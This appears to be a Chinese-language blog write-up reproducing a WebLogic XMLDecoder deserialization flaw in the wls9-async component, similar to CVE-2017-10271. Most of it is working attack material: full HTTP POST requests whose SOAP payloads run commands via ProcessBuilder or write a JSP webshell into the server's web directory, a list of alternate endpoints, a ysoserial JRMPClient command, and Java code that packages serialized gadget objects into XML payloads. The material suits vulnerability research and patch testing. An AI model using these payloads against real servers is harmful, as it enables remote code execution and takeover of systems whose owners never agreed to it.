影响范围

WebLogic 10.X
WebLogic 12.1.3

复现

首先本地安装 weblogic，过程不再赘述。

由于漏洞是和CVE-2017-10271同样的原因引起的。

所以完全可以使用 CVE-2017-10271 的POC

CVE-2017-10271 Getshell EXP

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.8.148:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 756

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

先启动 weblogic 服务，默认会部署 wls9-async 组件

这里放上我的命令执行POC

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
Connection: keep-alive
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在本地成功弹出了计算器。

反编译一下存在漏洞的war包 com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

给 weblogic 开启 debug 模式，在 idea 远程debug并给 xmldecoder 的 readObject 方法打上断点可以看到栈都走了那些方法。

getshell

<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:wsa="http://www.w3.org/2005/08/addressing"
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext
            xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.xmlDecoder">
                <object class="java.io.PrintWriter">
                    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string>
                    <void method="println">
                        <string>
                            <![CDATA[secfile]]>
                        </string>
                    </void>
                    <void method="close"/>
                </object>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
        <asy:onAsyncDelivery/>
    </soapenv:Body>
</soapenv:Envelope>

如果一个接口不成功，可以试试这三个接口

AsyncResponseServiceHttps
AsyncResponseService
AsyncResponseServiceJms

自从漏洞被公开后陆陆续续出来了一些 POC

其中有一个比较长的

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:wsa="http://www.w3.org/2005/08/addressing"
 xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
 <wsa:Action>xxx</wsa:Action>
 <wsa:RelatesTo>xxx</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
  <class>
    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
    <array class="byte" length="1452">
<void index="0">
  <byte>-84</byte>
</void>
<void index="1">
  <byte>-19</byte>
</void>
<void index="2">
  <byte>0</byte>
</void>
<void index="3">
  <byte>5</byte>
</void>
//省略.....
<void index="1451">
  <byte>58</byte>
</void></array>
     </void>
    </class>
 </java>
 </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
            <asy:onAsyncDelivery/>
     </soapenv:Body>
</soapenv:Envelope>

根据源码来看，构造方法就是将一个传入的 byte 数组再反序列化成 IdentityHashtable
对象。

http://kickjava.com/src/oracle/toplink/essentials/internal/sessions/UnitOfWorkChangeSet.java.htm

那么利用方式就很明显了：通过传入payload对象的字节码对象来反序列化。

这里我用ysoserial生成一个payload

java -jar ysoserial-master-ff59523eb6-1.jar JRMPClient "127.0.0.1:1099" > E:/1.txt

然后再读取文件反序列化成java对象，再读取他的字节码，最后让xmlEncoder转成 xml格式。

/**
 * @author 浅蓝
 * @since 2019/4/24 12:09
 */
public class Test {

    public static void main(String[] args) throws Exception {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("E:/exp.txt"));
        Object o = objectInputStream.readObject();

        byte[] bytes = objectToByte(o);

        objectXmlEncoder(bytes , "E:/123.xml");

    }

    private static byte[] objectToByte(Object obj) {
        byte[] bytes = null;
        try {
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            ObjectOutputStream oo = new ObjectOutputStream(bo);
            oo.writeObject(obj);

            bytes = bo.toByteArray();

            bo.close();
            oo.close();
        } catch (Exception e) {
            System.out.println("translation" + e.getMessage());
            e.printStackTrace();
        }
        return bytes;
    }

    public static void objectXmlEncoder(Object obj,String fileName)
            throws FileNotFoundException,IOException,Exception
    {


        java.io.File file = new java.io.File(fileName);
        if(!file.exists()){
            file.createNewFile();
        }



        java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
        java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
        xe.flush();
        xe.writeObject(obj);
        xe.close();
        oop.close();
    }

}